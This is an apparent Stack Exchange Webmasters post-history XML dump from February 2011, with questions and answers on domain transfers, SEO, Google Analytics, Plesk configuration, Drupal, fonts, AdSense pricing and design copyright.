  <row Id="18921" PostHistoryTypeId="2" PostId="8703" RevisionGUID="5db3d142-853f-4cf3-94ef-0a71858f1c25" CreationDate="2011-02-04T07:18:54.997" UserId="5157" Text="We need more information.&#xD;&#xA;&#xD;&#xA;Did your friend buy the domain from OnlineNIC Inc or from another company that is reselling for OnlineNIC Inc. Because if it's from a reseller you can call OnlineNIC Inc and complain about that reseller and they can halp you.&#xD;&#xA;&#xD;&#xA;Also you have a space for old email. Was the domain's who is out of date with an old email? If so that is an issue and can be used to delete the domain." />
  <row Id="18922" PostHistoryTypeId="25" PostId="8700" RevisionGUID="23e2f346-5a9e-4a6e-a42b-2d306881bcce" CreationDate="2011-02-04T08:16:38.817" Comment="http://twitter.com/#!/StackWebmasters/status/33438770426544128" />
  <row Id="18923" PostHistoryTypeId="2" PostId="8704" RevisionGUID="cc7101b9-928f-4066-88f9-45dd53eba4c1" CreationDate="2011-02-04T10:05:42.857" UserId="4575" Text="The domain has finally been moved. It runs out that there was/is a problem with the name.com mail servers. The losing registrar received 25 emails in the space of 2 minutes with the transfer request, all of which were out of date. I've now moved the domain to 123-reg which worked first time." />
  <row Id="18924" PostHistoryTypeId="2" PostId="8705" RevisionGUID="405df55f-0114-46cd-b79f-e307d23c61e0" CreationDate="2011-02-04T10:42:54.993" UserId="4502" Text="SEO is a &lt;em&gt;practice&lt;/em&gt; not an application feature. And it's not even entirely something that just your CMS would be involved with in the first place.&#xD;&#xA;&#xD;&#xA;Is there something more specific you're concerned about that could be addressed more directly? This question's incredibly wide. Any CMS worth serious consideration should be perfectly capable of handling anything you may need to do on-site for SEO, either via core features and templating or maybe an already well-known plugin if it needs to be bolted on.&#xD;&#xA;&#xD;&#xA;As examples, Movable Type has very few plugins that would be considered as being &quot;SEO-related&quot; because most of the things that would entail are in its paradigm just handled via template modifications. WordPress has probably &lt;em&gt;hundreds&lt;/em&gt; of them(literally), meaning any significant comparison table would be near-useless just because of its mass, and because there are a few obvious front-runners in use like the all-in-one pack, platinum pack, and Yoast's, that mostly do the same things but in slightly different ways or interfaces." />
  <row Id="18925" PostHistoryTypeId="2" PostId="8706" RevisionGUID="0b47102c-4c93-4e44-9285-9bd9b76b0a73" CreationDate="2011-02-04T10:57:02.267" UserId="4502" Text="It probably won't hurt anything, but don't expect it to be particularly beneficial, either.&#xD;&#xA;&#xD;&#xA;To John Conde's &lt;a href=&quot;http://webmasters.stackexchange.com/questions/8319/is-it-a-good-idea-to-strip-common-words-from-urls/8364#8364&quot;&gt;answer&lt;/a&gt;: The question is about the slug that ends up in the URL. I can't imagine any search engine is going to consider that above the actual in-page content, which is not being modified here. (My rep's currently too low to comment directly.)" />
  <row Id="18926" PostHistoryTypeId="25" PostId="8666" RevisionGUID="51cb4357-3aac-45e9-8851-2a441ae4127d" CreationDate="2011-02-04T11:16:39.363" Comment="http://twitter.com/#!/StackWebmasters/status/33484068943441920" />
  <row Id="18927" PostHistoryTypeId="2" PostId="8707" RevisionGUID="e737d15c-6991-4528-ae00-2d6f96f7bdeb" CreationDate="2011-02-04T11:55:25.087" UserId="1426" Text="Is moving the DNS an option? I sounds like you want to use an external provider for DNS, so you have it all in one place. That way you can hunt around for a provider that matches all of your requirements and then change the relevant domains to point at their name servers.&#xD;&#xA;&#xD;&#xA;If you don't mind a little extra cost there are some companies who focus on providing DNS services, e.g. DynDNS. These should give you speed and reliability benefits over standard registrar DNS as well as making it easier for you to manage." />
  <row Id="18928" PostHistoryTypeId="2" PostId="8708" RevisionGUID="045d0aaf-cee9-4916-abe2-e6a5ee7ea2c8" CreationDate="2011-02-04T11:58:20.817" UserId="5163" Text="We have a number of custom variables set up in google analytics.  We'd like to show a table of event occurrences broken down by two custom variables, e.g. if variable one can be A, B, or C and variable two can be J, K or L:&#xD;&#xA;&#xD;&#xA;    Events |  A  |  B  |  C  |&#xD;&#xA;    -------+-----+-----+-----+&#xD;&#xA;       J   | 345 |  65 |  12 |&#xD;&#xA;       K   | 234 |  43 |   7 |&#xD;&#xA;       L   | 123 |  21 |   4 |&#xD;&#xA;    -------+-----+-----+-----+&#xD;&#xA; &#xD;&#xA;How do I get the information in that format?" />
  <row Id="18929" PostHistoryTypeId="1" PostId="8708" RevisionGUID="045d0aaf-cee9-4916-abe2-e6a5ee7ea2c8" CreationDate="2011-02-04T11:58:20.817" UserId="5163" Text="Can I show a table of one custom variable against another?" />
  <row Id="18930" PostHistoryTypeId="3" PostId="8708" RevisionGUID="045d0aaf-cee9-4916-abe2-e6a5ee7ea2c8" CreationDate="2011-02-04T11:58:20.817" UserId="5163" Text="&lt;google-analytics&gt;" />
  <row Id="18931" PostHistoryTypeId="2" PostId="8709" RevisionGUID="968a63c9-876f-44a0-bc7f-e2efb0d7143c" CreationDate="2011-02-04T12:01:40.120" UserId="5162" Text="This might be a question for ServerFault, and f it wasn't for the Plesk aspect I would ask it there to start with, so if it's better suited for over there let me know and I'll move it.&#xD;&#xA;&#xD;&#xA;I'm working on a dedicated server set up as a reseller account with Plesk to manage the domains and server configuration, and i need to add a directory to the local open_basedir configuration for a specific vhost.  Given Plesk's normal methodology, I expected to be able to go to /var/www/vhost/{%DOMAINNAME%}/conf and modify vhost.conf and place a new value there, as I have successfully done with other configuration settings for this domain (turning safe_mode off, for instance). When I do so, however, the new setting doesn't take (per phpinfo();).  If I edit httpd.conf (which the plesk configuration specifically says not to do in the notes at the top of httpd.conf) the setting takes.&#xD;&#xA;&#xD;&#xA;Is there something specific about the open_basdir setting that makes it not configurable in vhost.conf? How much trouble am I letting myself in for by editing the vhost-specific httpd.conf (I imagine is someone makes changes in the plesk web interface it might be overwritten, but what other risk is there)?&#xD;&#xA;&#xD;&#xA;Thanks!" />
  <row Id="18932" PostHistoryTypeId="1" PostId="8709" RevisionGUID="968a63c9-876f-44a0-bc7f-e2efb0d7143c" CreationDate="2011-02-04T12:01:40.120" UserId="5162" Text="cpnfigure open_basedir under Plesk" />
  <row Id="18933" PostHistoryTypeId="3" PostId="8709" RevisionGUID="968a63c9-876f-44a0-bc7f-e2efb0d7143c" CreationDate="2011-02-04T12:01:40.120" UserId="5162" Text="&lt;plesk&gt;" />
  <row Id="18934" PostHistoryTypeId="2" PostId="8710" RevisionGUID="50c2b9ac-cd1a-4913-818b-46aacafe1c55" CreationDate="2011-02-04T13:02:59.420" UserId="5164" Text="Before we launched our website, we had set up a &quot;coming soon&quot; page and google picked up the title and description from its contents. So the description in the search results said, **&quot;Coming soon! Visit epicwhale.org for updates.&quot;**&#xD;&#xA;&#xD;&#xA;It's been a few weeks since we launched our website. We've even created a sitemap and submitted it to google. In the google webmaster panel, the pages have been crawled and all the pages are appearing as expected on google, ***EXCEPT the homepage which is still not updated! The title and description of the homepage in google search results still says coming soon..***&#xD;&#xA;&#xD;&#xA;**The website I am referring to is textmewidget.com and below are the images of the search result.**&#xD;&#xA;&#xD;&#xA;Google: http://i.stack.imgur.com/vAkJg.png&#xD;&#xA;&#xD;&#xA;**I checked on bing too, but it appears to be fine there.** &#xD;&#xA;&#xD;&#xA;Bing: http://i.stack.imgur.com/Q8O6L.png&#xD;&#xA;&#xD;&#xA;All other pages seem to be indexed fine on google. I don't even have any crawl errors in my reports. So what seems to be the problem? I've already waited for 2 weeks.&#xD;&#xA;&#xD;&#xA;Thanks in advance!" />
  <row Id="18935" PostHistoryTypeId="1" PostId="8710" RevisionGUID="50c2b9ac-cd1a-4913-818b-46aacafe1c55" CreationDate="2011-02-04T13:02:59.420" UserId="5164" Text="Google doesn't seem to update the description or title of my homepage" />
  <row Id="18936" PostHistoryTypeId="3" PostId="8710" RevisionGUID="50c2b9ac-cd1a-4913-818b-46aacafe1c55" CreationDate="2011-02-04T13:02:59.420" UserId="5164" Text="&lt;seo&gt;&lt;google&gt;&lt;search-engines&gt;&lt;sitemap&gt;&lt;meta-description&gt;" />
  <row Id="18937" PostHistoryTypeId="2" PostId="8711" RevisionGUID="d7ae6253-6b73-4a18-8f17-16885725cdb9" CreationDate="2011-02-04T13:54:53.433" UserId="4803" Text="I'm going to assume you want this on your webpage.&#xD;&#xA;&#xD;&#xA;Set up your webpage by following the tutorial here:&#xD;&#xA;&#xD;&#xA;http://code.google.com/apis/analytics/docs/gdata/1.0/gdataJavascript.html&#xD;&#xA;&#xD;&#xA;Then on the section header of &quot;Retrieve Report Data,&quot; use this to filter your results:&#xD;&#xA;&#xD;&#xA;http://code.google.com/apis/analytics/docs/gdata/gdataReferenceDataFeed.html&#xD;&#xA;&#xD;&#xA;Let me know how it goes." />
  <row Id="18938" PostHistoryTypeId="2" PostId="8712" RevisionGUID="c6912f2f-a523-42bb-9563-3729c6fdb1a5" CreationDate="2011-02-04T14:08:39.417" UserId="1253" Text="Being a new site, and home page, Google is going to crawl and update its index of your content less frequently then established sites that have higher PR, dynamic content, etc. But they will update it sonner rather then later. Just keep seeking incoming links and try to get some changing/dynamic content on the home page. " />
  <row Id="18939" PostHistoryTypeId="25" PostId="8710" RevisionGUID="d18ba41b-cfde-42c7-98fc-1e1c447a4619" CreationDate="2011-02-04T14:16:40.177" Comment="http://twitter.com/#!/StackWebmasters/status/33529373030096896" />
  <row Id="18940" PostHistoryTypeId="2" PostId="8713" RevisionGUID="4660e1cf-4ef0-4f9c-93f0-33f8753f9a83" CreationDate="2011-02-04T14:47:50.757" UserId="2333" Text="I'm working on my first Drupal site. I've progressed in learning the basics . I still have a lot to learn tho.&#xD;&#xA;&#xD;&#xA;Using [FileViewer][1] I can load a PDF saved in a field, for view content of various types. I haven't found something that does the same for Word Docs, Excel, PDF, etc. &#xD;&#xA;&#xD;&#xA;Does anyone know of something that works in Drupal 7 to load documents other than PDF like FileViewer does inside a browser? Or like [Scribd][2] does (Scribd is hosted. I am behind a firewall with limited access for users. So I don't want to use a Scribd like service.)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://drupal.org/project/fileviewer&#xD;&#xA;  [2]: http://www.scribd.com/" />
  <row Id="18941" PostHistoryTypeId="1" PostId="8713" RevisionGUID="4660e1cf-4ef0-4f9c-93f0-33f8753f9a83" CreationDate="2011-02-04T14:47:50.757" UserId="2333" Text="Drupal 7: Documents as a node/block/field" />
  <row Id="18942" PostHistoryTypeId="3" PostId="8713" RevisionGUID="4660e1cf-4ef0-4f9c-93f0-33f8753f9a83" CreationDate="2011-02-04T14:47:50.757" UserId="2333" Text="&lt;drupal&gt;&lt;pdf&gt;&lt;browsers&gt;" />
  <row Id="18943" PostHistoryTypeId="2" PostId="8714" RevisionGUID="1fb3653d-f169-42b4-96c5-ca12791731be" CreationDate="2011-02-04T15:47:26.993" UserId="3099" Text="I have a web app which emails me exceptions automatically.  This morning there was an error relating to a url: /Catalog/LiveCatalog?id=ylwpfqzts&#xD;&#xA;&#xD;&#xA;id is invalid (should be a guid) and caused an error parsing. Everything was handled correctly, and an error page is returned.  But what was odd is that the user-agent reported itself as Googlebot and the IP is registered to Google.&#xD;&#xA;&#xD;&#xA;The URL would never have been generated by my web app but doesn't look particularly malicious.&#xD;&#xA;&#xD;&#xA;Anyone ever seen anything like this?" />
  <row Id="18944" PostHistoryTypeId="1" PostId="8714" RevisionGUID="1fb3653d-f169-42b4-96c5-ca12791731be" CreationDate="2011-02-04T15:47:26.993" UserId="3099" Text="Googlebot requesting invalid url" />
  <row Id="18945" PostHistoryTypeId="3" PostId="8714" RevisionGUID="1fb3653d-f169-42b4-96c5-ca12791731be" CreationDate="2011-02-04T15:47:26.993" UserId="3099" Text="&lt;google&gt;" />
  <row Id="18946" PostHistoryTypeId="17" PostId="8716" RevisionGUID="b5bc9ed7-2bfe-4cf6-9dc4-c94670ee46e3" CreationDate="2011-02-04T16:32:39.893" UserId="-1" Comment="from http://stackoverflow.com/questions/4900355/which-font-do-designers-use/4900388#4900388" Text="" />
  <row Id="18947" PostHistoryTypeId="17" PostId="8717" RevisionGUID="ab15d43a-d447-415e-93fb-5203b580b7fb" CreationDate="2011-02-04T16:32:39.893" UserId="-1" Comment="from http://stackoverflow.com/questions/4900355/which-font-do-designers-use/4900402#4900402" Text="" />
  <row Id="18948" PostHistoryTypeId="2" PostId="8716" RevisionGUID="8397534d-3602-4e0b-84e6-f5c60e4ccf38" CreationDate="2011-02-04T16:29:54.950" UserDisplayName="John Pickup" Text="Why don't you just look at the HTML source of a page on a website that you like? It'll tell you what the font is (unless rendered as a static image but that seems unlikely for blog post)" />
  <row Id="18949" PostHistoryTypeId="2" PostId="8717" RevisionGUID="367218e8-afe7-4318-892b-5dca4d98688e" CreationDate="2011-02-04T16:30:58.833" UserDisplayName="Diodeus" Text="Designers use all kinds of fonts, often forgetting that most of them can't be used online.&#xD;&#xA;&#xD;&#xA;Here's the [safe list of fonts][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.ampsoft.net/webdesign-l/WindowsMacFonts.html" />
  <row Id="18950" PostHistoryTypeId="2" PostId="8715" RevisionGUID="9366a044-e7bc-46ae-b289-54c1339d2fdb" CreationDate="2011-02-04T16:27:20.920" UserDisplayName="Kar Cheng" Text="Let me inform you that i am not a designer by trade and i don't have any design sense either. But by luck i have to design forms in my company. But i do not get the professional look that you see on websites. I want to know which fonts do designers use for :-&#xD;&#xA;&#xD;&#xA;1) description&#xD;&#xA;2) Title (say the Title of the blog post)&#xD;&#xA;&#xD;&#xA;Also tell me what should it's size be?&#xD;&#xA;&#xD;&#xA;Thanks in advance :)" />
  <row Id="18951" PostHistoryTypeId="1" PostId="8715" RevisionGUID="9366a044-e7bc-46ae-b289-54c1339d2fdb" CreationDate="2011-02-04T16:27:20.920" UserDisplayName="Kar Cheng" Text="Which font do designers use ?" />
  <row Id="18952" PostHistoryTypeId="3" PostId="8715" RevisionGUID="9366a044-e7bc-46ae-b289-54c1339d2fdb" CreationDate="2011-02-04T16:27:20.920" UserDisplayName="Kar Cheng" Text="&lt;html&gt;" />
  <row Id="18953" PostHistoryTypeId="17" PostId="8715" RevisionGUID="01694caf-b4c9-4ff8-9e13-b4a8f022dbfb" CreationDate="2011-02-04T16:32:39.893" UserId="-1" Comment="from http://stackoverflow.com/questions/4900355/which-font-do-designers-use" Text="" />
  <row Id="18954" PostHistoryTypeId="2" PostId="8718" RevisionGUID="74e84d5e-8802-4c3a-b0c0-50f5de1d9987" CreationDate="2011-02-04T16:47:49.423" UserDisplayName="user5167" Text="I work for a company who have been redesigning their company website.&#xD;&#xA;&#xD;&#xA;I have been asked to register loads of domain names that contain the keywords that they want to use on the original site.  Each of these domain names will contain a one page website with a destription of what the company offers and a link saying something along the lines of 'click here for more infmormation' which then takes you to the main site.&#xD;&#xA;&#xD;&#xA;The idea being the main site will then be recieving a lot of inbound links and hopefully rise in the google rankings, not to mention bring in more customers who have come to the site from all the other domain names who wouldn't have normally got to the website because it wasn't ranked on the first page.&#xD;&#xA;&#xD;&#xA;Is this a good idea or will Google see this as spam and penalise the main site for having loads of links to it from one page websites hosted on the same nameserver?&#xD;&#xA;&#xD;&#xA;Any advice would be greatly appreciated.&#xD;&#xA;&#xD;&#xA;Thanks,&#xD;&#xA;Mark." />
  <row Id="18955" PostHistoryTypeId="1" PostId="8718" RevisionGUID="74e84d5e-8802-4c3a-b0c0-50f5de1d9987" CreationDate="2011-02-04T16:47:49.423" UserDisplayName="user5167" Text="Multiple domain names with pages linking to one website" />
  <row Id="18956" PostHistoryTypeId="3" PostId="8718" RevisionGUID="74e84d5e-8802-4c3a-b0c0-50f5de1d9987" CreationDate="2011-02-04T16:47:49.423" UserDisplayName="user5167" Text="&lt;seo&gt;&lt;domains&gt;&lt;registration&gt;" />
  <row Id="18957" PostHistoryTypeId="2" PostId="8719" RevisionGUID="c91e1949-f2ce-4a09-b8b5-2ad54b243cf6" CreationDate="2011-02-04T16:54:17.807" UserId="1253" Text="It's a bad idea because:&#xD;&#xA;&#xD;&#xA;1) It does risk appearing to be a link farm or some other form of manipulation to Google. And that's because it is doing exactly that. This is exactly the kind of stuff is cracking down on. &#xD;&#xA;&#xD;&#xA;2) Those websites will have no SEO value because they will be weak one page sites with virtually no SEO value themselves (no internal links, almost certainly few no no incoming links, etc). Thus links from them will have extremely little value as well. So they may create quantity of links this way but the quality won't be there and that's what actually matters.&#xD;&#xA;&#xD;&#xA;The odds of those mini sites ranking well is extremely small. The only chance they would have to rank well is if they are targeting long tail keywords. But in those cases any internal page on the main website can accomplish the same thing and probably do it better because of the internal linking you can take advantage of." />
  <row Id="18958" PostHistoryTypeId="25" PostId="8715" RevisionGUID="03314b5c-7bfb-42c9-af08-c85f179a5c65" CreationDate="2011-02-04T17:16:40.037" Comment="http://twitter.com/#!/StackWebmasters/status/33574670951251968" />
  <row Id="18959" PostHistoryTypeId="2" PostId="8720" RevisionGUID="d2e64a96-2c44-4417-ab39-3f419e27a3ca" CreationDate="2011-02-04T17:19:22.097" UserId="3718" Text="I'm planning a project at the moment, while building a completely different project at the same time. Both of these projects are quite innovative in the way they either work or the way they are presented. One of the projects hasn't been done before, and the other is being made has competition, but I feel the competitions websites are light years behind what I'm doing.&#xD;&#xA;&#xD;&#xA;Is there a way for me to prevent the way my sites work or presented from being stolen? I've thought of patenting parts of them, but it requires £10,000 and I don't have that amount of money. Also, would me putting a Copyright notice on the site or an All Rights Reserved tag give me any muscle when going to websites that I feel have stolen my ideas (if they have)?&#xD;&#xA;&#xD;&#xA;Cheers!" />
  <row Id="18960" PostHistoryTypeId="1" PostId="8720" RevisionGUID="d2e64a96-2c44-4417-ab39-3f419e27a3ca" CreationDate="2011-02-04T17:19:22.097" UserId="3718" Text="Protecting design ideas from being copied by other websites?" />
  <row Id="18961" PostHistoryTypeId="3" PostId="8720" RevisionGUID="d2e64a96-2c44-4417-ab39-3f419e27a3ca" CreationDate="2011-02-04T17:19:22.097" UserId="3718" Text="&lt;copyright&gt;&lt;protection&gt;" />
  <row Id="18962" PostHistoryTypeId="2" PostId="8721" RevisionGUID="41e69063-556c-4c33-8ca7-f2fc7a74c7cb" CreationDate="2011-02-04T17:21:33.340" UserId="5173" Text="This is a &quot;halfway there&quot; solution that a lot of reputable SEO's utilize. The problem is that there doesn't seem to be any time taken to build up the sites, and having only one page doesn't help either.&#xD;&#xA;&#xD;&#xA;Google ranks keyword oriented domains very well if they are built correctly. If there is mid-to-low competition for a keyword phrase it's very easy to build up a little site and then send yourself inbound links. The key here is **quality**, if the one page site doesn't actually discuss the keyword phrase and semantically related topics you'll just look like spam. You won't be punished for this unless you're doing hundreds of sites like this, but you'll also be wasting your time.&#xD;&#xA;&#xD;&#xA;The other thing you're missing is that the inbound link needs to point into the main site, i.e., &quot;For more information on &lt;a href=&quot;mainsite&quot;&gt;keyword phrase&lt;/a&gt; click here. By anchoring &quot;Click Here&quot; you're not actually getting a keyword related link, just a general link.&#xD;&#xA;&#xD;&#xA;Remember, quality rules. Even if you see decent results from this type of SEO work, it won't last. Worse still, people might click the link and see that it's a bunch of garbage, then avoid your site in the future." />
  <row Id="18963" PostHistoryTypeId="2" PostId="8722" RevisionGUID="d5b62052-f978-495d-93c6-e6d69d021b08" CreationDate="2011-02-04T17:25:58.530" UserId="5173" Text="You can't really copyright a design, though you can protect things like trade dress, logos, etc. Right now I'm hearing that you're &quot;planning&quot; a project that in your opinion is light years ahead of the competition, but the reality is that no one else has been given the change to decide whether or not this is true yet.&#xD;&#xA;&#xD;&#xA;I'd suggest you develop your product and get to market ASAP. If others do copy your functionality, layout, etc., they'll be a Pepsi to your Coca Cola, and at that point it won't really matter what they do.&#xD;&#xA;&#xD;&#xA;That would be a better use of your time than carrying a paranoia that everyone will steal your thunder. If you spend enough time on that you'll never actually get the project done, or worse still someone else will have the same idea and get to market quicker." />
  <row Id="18964" PostHistoryTypeId="2" PostId="8723" RevisionGUID="2f782ee9-2625-4a3f-8a7a-86a6b472c677" CreationDate="2011-02-04T17:29:29.523" UserId="5173" Text="Honestly I'd just add the functionality to let the user decide. Aside from what you're already looking for there isn't a silver bullet that will allow you to be correct 100% of the time. Here and there companies like Google don't know where I am, so I wouldn't overthink this.&#xD;&#xA;&#xD;&#xA;I'll just use the example of a restaurant review site, something which would obviously need to be geo-targeted. Aside from trying to divine where your user is, you should have a prominent showing of the location the user is in, e.g., &quot;You are viewing reviews in Denver, Colorado - click to change&quot;.&#xD;&#xA;&#xD;&#xA;If you're looking for repeat visitors then the users will pick up how to use your site, and after the first visit they'll *tell you* where they actually are." />
  <row Id="18965" PostHistoryTypeId="2" PostId="8724" RevisionGUID="f7768774-621f-4636-8180-1b0228a7d06a" CreationDate="2011-02-04T17:36:23.977" UserId="5173" Text="The cost per click (CPC) is determined by those bidding on the term in an auction format. This means that a bid can open as low as $0.05, with users then trying to outbid each other for rank.&#xD;&#xA;&#xD;&#xA;Example: User A sets a max bid of $0.25 per click for &quot;keyword&quot;. User B wants the top paid position and sets their bid for $0.30. User A now has to decide whether they want to increase their bid to at least $0.31 per click, or take position 2 at their bid.&#xD;&#xA;&#xD;&#xA;A quality score is used by Google which slightly alters this by taking into account the historical relevancy and results of bidding, so in some cases someone bidding lower than another person can actually outrank them.&#xD;&#xA;&#xD;&#xA;Adsense uses an &quot;eCPM&quot; (effective cost per thousand) to &quot;back into&quot; the revenue figure. Whereas traditional CPM advertisers will pay $X per thousand impressions regardless of performance, Google will serve an ad 1,000 times, and depending on how many clicks it gets will then use this to figure the effective CPM.&#xD;&#xA;&#xD;&#xA;Example: Ad A is shown 1,000 times and is clicked once. The ad that was clicked has a CPC of $10. Google pays a 68% share to Adsense for Content users, so in this case pays out $6.80.&#xD;&#xA;&#xD;&#xA;This means the &quot;effective&quot; CPM is $6.80. " />
  <row Id="18966" PostHistoryTypeId="2" PostId="8725" RevisionGUID="3fc47e4a-a3d1-45db-876c-ba43ba95c64d" CreationDate="2011-02-04T17:39:27.327" UserId="5173" Text="If you're doing an image ad it's not going to trigger results within Google Search Partners, only on the Content Network, so it could be that the keyword(s) you're bidding on just don't have any real volume, which happens quite a bit.&#xD;&#xA;&#xD;&#xA;You also need to check under the keywords tab to see if the ads are eligible to show. There is a little icon that allows you to see the quality score and it should say that the ad is in fact live.&#xD;&#xA;&#xD;&#xA;I'd suggest focusing on text ads since they have proven that they have higher performance and relevance than image ads." />
  <row Id="18967" PostHistoryTypeId="2" PostId="8726" RevisionGUID="d8cb9314-0b41-4d97-b593-b210140809c3" CreationDate="2011-02-04T18:17:43.763" UserId="1757" Text="While you haven't given enough info for anyone to determine whether or not your ideas are unique enough to be patentable, there is precedent for patenting really stupid ideas for which prior art clearly exists. For example, pop-unders were patented, as was Amazon one-click checkout, as was menu-based navigation for MP3 players.&#xD;&#xA;&#xD;&#xA;So if it's an actual interface mechanism rather than an aesthetic design, then chances are it's patentable. If you really think you deserve to have exclusive rights over it, and that someone else copying the idea represents a significant monetary loss to you, then perhaps you should take out a loan to pay for the patent application (or find an investor). If the idea isn't worth the application fee, then it probably won't be worth going to court over either.&#xD;&#xA;&#xD;&#xA;You'll have the first-mover advantage either way. And many sites have gotten on just fine despite the legions of copycats who tried to ride their coat tails. It's usually whoever gets to market first, has the best service/app, and promotes their site most effectively who ends up dominating the market. I'd focus more on those things than worrying about being copied.&#xD;&#xA;&#xD;&#xA;And, no, copyright notices do not give you any kind sort of patent protection." />
  <row Id="18968" PostHistoryTypeId="2" PostId="8727" RevisionGUID="d4085f32-8577-4fdc-8239-53e2e347340b" CreationDate="2011-02-04T18:48:59.243" UserId="5173" Text="John is correct on this. It really depends on keyword volumes and what you're targeting. I'd also add that you need to make sure that the URL and H1 of the page align with your title, e.g.,&#xD;&#xA;&#xD;&#xA;&lt;h1&gt;Pennsylvania Shoe Repair&#xD;&#xA;URL: http://www.yoursite.com/pa-philadelphia/shoe-repair&#xD;&#xA;&#xD;&#xA;If you only focus on the title you won't be able to rank well." />
  <row Id="18969" PostHistoryTypeId="2" PostId="8728" RevisionGUID="69d4b5aa-34ef-4d6c-9ff8-bed4c751460b" CreationDate="2011-02-04T19:03:40.013" UserId="5173" Text="When it comes to SEO friendly platforms for blogging Wordpress is by far the best and easiest to use for a beginner.&#xD;&#xA;&#xD;&#xA;It's important to understand that the only way in which a blogging platform supports SEO is through the technical aspects of it, e.g., URL structure, title structure, meta use, automatice sitemap creation, etc.&#xD;&#xA;&#xD;&#xA;In all of those areas Wordpress has some great features and plugins, but in the end you'll also need to support this with great content." />
  <row Id="18970" PostHistoryTypeId="2" PostId="8729" RevisionGUID="2b26c78c-b26f-4cb0-bf3c-1bb428f0e915" CreationDate="2011-02-04T19:07:39.930" UserId="5173" Text="I would suggest utilizing a 301 redirect to a new subdomain location. Subdirectories aren't handled as well from an SEO perspective, and it also diminishes the geo-focus of a site.&#xD;&#xA;&#xD;&#xA;I say this based off of practice, lest you wonder.&#xD;&#xA;&#xD;&#xA;Another question is where the hosting is occurring for the international domains? Do you have them hosted in those countries or in the US? One big factor in international SEO is the hosted location of a site, yet another reason to utilize sub-domains. For a comparison I would also point to the actions of the engines. Yahoo utilizes a sub-domain redirect, and Google utilizes a completely separate URL (try www.Google.ca).&#xD;&#xA;&#xD;&#xA;Unless you really, really have to move these I would probably leave them separate." />
  <row Id="18971" PostHistoryTypeId="2" PostId="8730" RevisionGUID="72ad0951-7cb4-41b4-92de-136d77c90079" CreationDate="2011-02-04T19:11:02.800" UserId="5173" Text="I would like to chime in that you really don't need to worry about PR. Google itself says not to worry about PR. It's an older tool and was used as an indicator in the past, but it no longer carries the same weight that it used to.&#xD;&#xA;&#xD;&#xA;To give you an example, I've been able to successfully outrank PR 6, 7, and 8 pages on a 2-word keyword phrase with 1.5M monthly hits (position 3 in Google) and the site is only PR5.&#xD;&#xA;&#xD;&#xA;Elsewhere I've been able to rank PR 0, 1, and 2 sites for 3-word plus keyword phrases going against PR5+ sites and captured the top spot.&#xD;&#xA;&#xD;&#xA;Long story short, focus on getting great links and building great content." />
  <row Id="18972" PostHistoryTypeId="2" PostId="8731" RevisionGUID="2075245f-7dff-43d5-95f6-c1b5849e6ecb" CreationDate="2011-02-04T19:15:16.570" UserId="5173" Text="My first question would be why the homepage needs to be HTTPS? What exactly is being secured that requires SSL on the homepage?&#xD;&#xA;&#xD;&#xA;If you've done a 301 redirect the next question would be whether or not you're indexed at the same rate. How many pages show up on a site:domain.com query for you? I'd also double check the 301 redirect to make sure using a redirect checker. &#xD;&#xA;&#xD;&#xA;John is correct that the SE's don't handle HTTPS that well, but they should pass through after some time, so I'd definitely look at double checking the redirects, making sure you're using canonical for the HTTP version (http://domain.com going to http://www.domain.com), and then if that all fails, figuring out how to get away from the HTTPS issue." />
  <row Id="18973" PostHistoryTypeId="2" PostId="8732" RevisionGUID="47ada447-fe69-4ec6-8ee8-ee9f0628ea3d" CreationDate="2011-02-04T19:19:23.523" UserId="5173" Text="The other big thing to remember is that if all of the sites share the same IP range they can look like a big crappy link wheel or link farm.&#xD;&#xA;&#xD;&#xA;Satellite sites are not bad at all when handled correctly, but in this case the client is going overboard. They need to *support* every single site that they have up. By support I mean they need to have fresh content, build links, and have great information.&#xD;&#xA;&#xD;&#xA;If they're going out and getting hundreds of these domains I doubt that's what they're doing." />
  <row Id="18974" PostHistoryTypeId="2" PostId="8733" RevisionGUID="1f6ddff7-0c62-42e8-8015-c034b42cae23" CreationDate="2011-02-04T19:56:38.470" UserId="4142" Text="After some research, it looks like leaving out the trailing slash causes your browser to send out another HTTP request for the file &quot;example.com/about#&quot;, instead of an internal link like you'd expect.&#xD;&#xA;&#xD;&#xA;Now, I tried this kind of request on an IIS web server and an Apache web server, and both sent me back a 301 redirect to the correct URL, so I think they have some built-in functionality to handle this understandable mistake.&#xD;&#xA;&#xD;&#xA;However, I would guess that WordPress/WPML uses Apache's mod_rewrite or something similar to make search engine friendly URLs, so that instead of `example.com/about.php?user=tnorthcutt`, you get `example.com/about/tnorthcutt`. This will probably bypass the server's normal corrective behavior. So instead of Apache redirecting you to the appropriate URL, it tries to translate it from a search engine friendly version, and everything goes south from there.&#xD;&#xA;&#xD;&#xA;So I guess the moral of the story is to just add in the slash, and avoid the extra HTTP request altogether if possible.&#xD;&#xA;&#xD;&#xA;Note: This is kind of wild speculation, and I'm making a lot of assumptions about your setup. Grain of salt required." />
  <row Id="18975" PostHistoryTypeId="25" PostId="8718" RevisionGUID="b31b5b3a-6944-4cbf-933b-cadb2e525e86" CreationDate="2011-02-04T20:16:39.840" Comment="http://twitter.com/#!/StackWebmasters/status/33619968289411073" />
  <row Id="18976" PostHistoryTypeId="2" PostId="8734" RevisionGUID="d718a3ab-7761-4d37-9d8e-dc201bc0c1bd" CreationDate="2011-02-04T20:33:58.610" UserId="5157" Text="Sign up for a [Google Webmaster][1] account. You can submit a sitemap which will help Google crawl your site. I've noticed that sites that I have in my webmasters account get crawled more frequently and you can request a crawl.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/webmasters" />
  <row Id="18977" PostHistoryTypeId="2" PostId="8735" RevisionGUID="08beb68a-dd81-4f31-86d9-a101bc277430" CreationDate="2011-02-04T20:41:53.593" UserId="5157" Text="With stuff like this I have always given a high price based on my hourly rate and tell them that this is an estimate, it make take more time or less time. If it's less then bill them less, if it's going to be more let them know ASAP." />
  <row Id="18978" PostHistoryTypeId="2" PostId="8736" RevisionGUID="0c84af67-0436-4f97-a075-2f2a34dae722" CreationDate="2011-02-04T20:45:39.320" UserId="5157" Text="Community Builder is really the only one I know that does this for Joomla. I'm sure you can disable certain features that you don't need." />
  <row Id="18979" PostHistoryTypeId="2" PostId="8737" RevisionGUID="5be18404-7591-46df-bce9-45dea92c7b69" CreationDate="2011-02-04T20:50:10.770" UserId="5157" Text="Unless they programmed the correct stuff for FBML to post the videos in ShareThis then no. You can always code your own like button into WordPress. I know this probably isn't the answer you want to hear, sorry." />
